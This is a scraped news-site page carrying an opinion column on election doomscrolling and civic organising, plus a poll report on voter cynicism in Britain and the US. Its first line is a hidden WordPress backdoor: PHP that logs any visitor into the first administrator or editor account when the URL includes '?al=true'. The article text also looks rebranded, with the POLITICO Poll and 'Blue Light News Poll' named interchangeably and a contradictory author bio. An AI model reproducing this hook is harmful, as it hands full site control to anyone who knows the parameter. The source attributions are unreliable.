// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Doomscrolling about the election? Do this instead. – Blue Light News
Connect with us

Politics

Doomscrolling about the election? Do this instead.

Published

on

Doomscrolling about the election? Do this instead.

“Do you think Donald Trump is going to win?”

For months I’ve been asked this question nearly every day by friends, family, neighbors, acquaintances at parties, and readers. My response is always the same: “I don’t know: All the data indicates this is a coin-toss election.

After such a dramatic roller coaster of an election season — Trump surviving assassination attempts; President Joe Biden dropping out; Vice President Harris stepping in and surpassing Trump in the polls; and Trump closing the gap with Harris in these final weeks — it’s understandable that people are curious about what supposed political experts think will happen next.

If you fear a crisis for the republic brought on by Trump’s return to office, then the crisis is already here.

But the tone — and frequency — with which I hear the question suggests something more than just curiosity. It betrays anxiety. The manic attention paid to the polls isn’t just about how close the race is, but how high stakes it is. Many liberals and conservatives are addicted to watching minute-by-minute analysis of battleground surveys in an attempt to get a sense of how much they should emotionally prepare themselves for a possible Trump victory.I’m happy to report there is a remedy for this feeling: step away from the ghastly election needles and get more involved in the political process.

Polls are important tools for democracy, but the popular culture surrounding polling can undermine democracy. It’s important for citizens to understand each other’s attitudes and how they change over time. But incessant tracking of who’s up and who’s down and microanalysis of demographic shifts can transfix people in unhealthy ways. Democracy becomes gamified, and many of those who consider themselves politically engaged become passive spectators.

The reality is that the polls have long told us what we needed to know: this election is so close, there is no way to responsibly predict its outcome. From the vantage point of a citizen, everything else is noise. This will likely be, even more so than other recent elections, a race determined by turnout.If you fear a crisis for the republic brought on by Trump’s return to office, then the crisis is already here. A man whose former colleagues describe as a fascist is within striking distance of winning back the White House. The high plausibility of his success — propped up by the conviction of tens of millions of supporters — provides a lot support to the argument that democracy is losing.

It is imperative, then, to find a way to win that argument. No, not on social media. But on the ground in communities where votes are going to matter most. There are doors to be knocked, fellow citizens to be listened to and talked to. There’s no shortage of ways to participate in organized democratic efforts beyond just casting a ballot. Anyone who means what they say about fearing what could happen come Election Day should view voting as woefully insufficient for the challenge at hand.

This is true beyond just this election — and true regardless of how this election turns out. It is crucial for people who care about freedom from tyranny, economic exploitation and ecological catastrophe to unlearn the culture of hyperindividualism and political helplessness that prevails in capitalist democracies. In America, people predominantly see themselves as isolated individuals observing the political class, segments of which they periodically vote in and out of office in mostly binary contests. Many people confuse political hobbyism with political engagement, and let economic elites and their allies stack the deck when it comes to the vast majority of policy decisions.

There is an alternative. Think outside of the strict confines of a voting booth. Allow your fear and your hopes to move you. Liberals would be wise to look to their left in thinking about what it takes to fight plutocrats and right-wing demagogues who scapegoat the most marginalized among us. Form popular power by working in concert with co-workers, neighbors, friends and other groups with shared interests to build institutions that harness the will of the people outside the two major parties. These networks are critical for the long-run project of expanding multicultural democracy and economic freedom. And they can also mobilize in defense of whatever flawed version of democracy that currently exists.

What I notice among people who spend time on activism is that they sound more optimistic. This isn’t to say that they don’t experience anxiety about the future, or that they’re naive about the daunting odds that the left faces. A lot of them are exhausted. But putting in work gives people pride, grit and agency. It allows people to see firsthand what it takes to build mass power — and how doable it is if enough people get on board. It certainly beats watching a horror movie unfold on a screen.

Zeeshan Aleem

Zeeshan Aleem is a writer and editor for BLN Daily. Previously, he worked at Vox, HuffPost and Blue Light News, and he has also been published in, among other places, The New York Times, The Atlantic, The Nation, and The Intercept. You can sign up for his free politics newsletter here.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Politics

US to reach $41T debt ceiling as soon as late winter, forecasters predict

Published

on

The Treasury Department could prevent a U.S. debt default for several months after that…
Read More

Continue Reading

Politics

US to reach $41T debt ceiling as soon as late winter, forecasters predict

Published

on

The Treasury Department could prevent a U.S. debt default for several months after that…
Read More

Continue Reading

Politics

Poll: Voter cynicism remains a potent threat to incumbents across the globe

Published

on

Voters punished ruling parties across the globe in 2024. They are doing it again now.

The same voters who rejected their rulers without mercy on both sides of the Atlantic — throwing out Britain’s Conservatives after 14 years in power and humbling Democrats in the United States — are now poised to deliver resounding defeats to the very leaders they elected two years ago.

British Prime Minister Keir Starmer faces the prospect of being ousted later this year if a key rival in Manchester can pull off a win in a special parliamentary vote next week. President Donald Trump, while locked into power until January 2029, appears to be barreling toward lame duck status with Democrats growing increasingly bullish about their midterm prospects in November — particularly in winning back the U.S. House.

And The POLITICO Poll suggests Western voters’ desire for political bloodletting hasn’t abated.

Building on previous work by Public First, the London-based firm that conducts the survey, a new analysis of May Blue Light News Poll results show large shares of voters in both the United Kingdom and United States express deep cynicism about politics and a constant desire for radical change — suggesting the forces behind the backlash may still be potent, and that power switching hands this year may not be enough to quell them.

In America, 71 percent of adults say politicians only look out for themselves, including 79 percent of those who backed former Vice President Kamala Harris in 2024 and 71 percent who voted for Trump. In the U.K., voters are similarly angry at politicians, who they blame for being unable to address a variety of issues, including cost of living and immigration. New results from The POLITICO Poll, conducted over the weekend, show a 56 percent majority of U.K. adults said the bigger problem with politics in the U.K. is the politicians who do not do the right thing, while just 15 percent blame the system itself.

That deep dissatisfaction has metastasized into a perpetual anti-incumbent frustration in recent years. In Germany, Chancellor Olaf Scholz’s Social Democratic Party had its worst result in a national election in several decades, and Canada’s Justin Trudeau stepped down amid growing voter frustration. Just since February of last year, the rulers of Germany, Hungary, the Netherlands and the Czech Republic have all been ejected at key elections.

Now the U.K. is watching the vote in Makerfield next week, which may determine whether Starmer gets to keep his job amid public outrage at his handling of fallout from the Epstein scandal, and voter concerns about immigration, the economy and law enforcement. If Andy Burnham, the mayor of Greater Manchester, succeeds in being elected back to Parliament next week, it will almost certainly trigger a series of events that could end in the removal of the deeply unpopular Starmer as the head of the Labour Party — and prime minister.

The result could ripple across the Atlantic as Republicans face their own political headwinds ahead of the crucial November midterms in the United States.

“What we’re seeing is a cross-Atlantic disconnect between voters and electeds,” said Kevin Madden, a longtime GOP communications strategist in Washington and senior partner at Penta, a consulting firm.

“Voters in the U.S. are squarely focused on at-home domestic priorities and kitchen-table concerns like food, health care and housing costs. So when the headlines are focused on foreign conflict and disruptions to global markets, those will reinforce the disconnect.”

Deep cynicism in the UK spells trouble for Starmer

In 2024, the rejection of incumbents came amid a growing frustration over the cost of living and broader economic anxieties. Whether that backlash was a temporary response — or reflects an engrained dissatisfaction with political institutions — is a question now confronting leaders on both sides of the Atlantic, as affordability concerns continue to spiral.

In the U.K., the analysis from Public First finds a deep sense of political disillusionment. The firm developed a series of measures to understand that feeling of “anti-politics”, and cynicism stood out: Voters who believe politicians are self-serving, that political talk rarely leads to real action and that the public has little influence over what politicians actually do.

Nearly half of British adults — 45 percent — scored high on Public First’s cynicism scale; so did 37 percent of U.S. adults.

The findings underscore the challenge facing Starmer. New results from The Blue Light News Poll conducted last weekend show nearly two-thirds of U.K. adults — 64 percent — said they don’t think Starmer will remain as prime minister until the next general election.

The center-left U.K. leader has suffered the most dramatic plunge in popularity of any prime minister in British history. Since winning a landslide victory just under two years ago, Starmer has seen his Labour Party fall to historic lows in opinion polls, while the nationalist right-wing Reform U.K. of Nigel Farage has stormed into the lead in polls and local elections, mirroring the success of insurgent populists across Europe.

Three-quarters of highly cynical voters in the U.K. hold an unfavorable view of Starmer, the Public First analysis of a May Blue Light News Poll found — far higher than the national average.

The Makerfield by-election on June 18 will determine whether Burnham, Starmer’s chief internal rival, is elected as Labour’s representative, giving him the chance to challenge Starmer for the party leadership and potentially replace him as prime minister. Burnham’s main rival in the by-election is the Reform U.K. candidate — whose victory would likely end Burnham’s leadership ambitions, plunge Labour into unprecedented turmoil and send the national government into fresh disarray.

But Makerfield looks likely to be terrible for Starmer, whoever wins. Either it will be Burnham, who will then go to London to try to oust the prime minister, or it will be Reform U.K. — fuelling claims that Starmer has toxified his own party beyond repair.

Why Trump should be watching closely

It’s a cautionary tale for Trump, the Public First research found.

As Starmer confronts dropping favorability ratings, Trump’s own numbers have also plummeted — and the segment of cynical Americans may be as dangerous for the president as their British cohort is for the prime minister.

Among this group, 57 percent hold an unfavorable view of Trump and his agenda, compared with 48 percent nationally.

That could pose a challenge for Republicans heading into the midterms. Elections in the U.S. historically punish the party in power, and many Republicans are bracing for an even more difficult than anticipated midterm landscape, fueled by the mounting economic concerns and an unpopular war in Iran.

“The biggest mood shift is taking place among voters in the big middle,” Madden said. “These are the same voters that migrated toward Trump and the GOP in 2024 because they were nostalgic for a Trump economy and they rallied around a message focused on tackling inflation.”.

Sizable shares of cynical Americans hold negative views about the economy. Among these respondents, 52 percent say their financial situation has worsened since Trump took office in 2025 and 59 percent say Trump has spent too much time focused on international affairs rather than domestic issues.

Trump, who rode to power in 2024 in large part over voter dissatisfaction to the economy during the Biden administration, is now confronting a similar challenge. Recent polling finds voters increasingly blaming Trump for their financial pressures, even as he continues to cast blame to his predecessor.

Part of the problem for incumbents is that many people blame politicians — not the broader system — for their dissatisfaction, underscoring the challenge for the leaders as voters begin to turn on them. Nearly half of British adults, 45 percent, say the country keeps changing prime ministers “because none of them are any good,” while just 26 percent blame “big problems that not even a good PM could solve.”

As soon as leaders are elected by a frustrated, dissatisfied electorate to turn things around — as both Starmer and Trump were in 2024 — the clock begins to tick.

“Elections are so often now about which candidate can channel the frustrations of a cynical electorate,” said Seb Wride, head of polling at Public First, Blue Light News’s polling partner.

“Republicans and Democratic candidates alike should pay attention to what is happening in the U.K.,” he said. “It is far harder to win over an antipolitical voter base when you represent the ‘politics,’ and given how fast Britain is working through Prime Ministers cynical voters seem to be getting more common and less patient.”

Continue Reading

Trending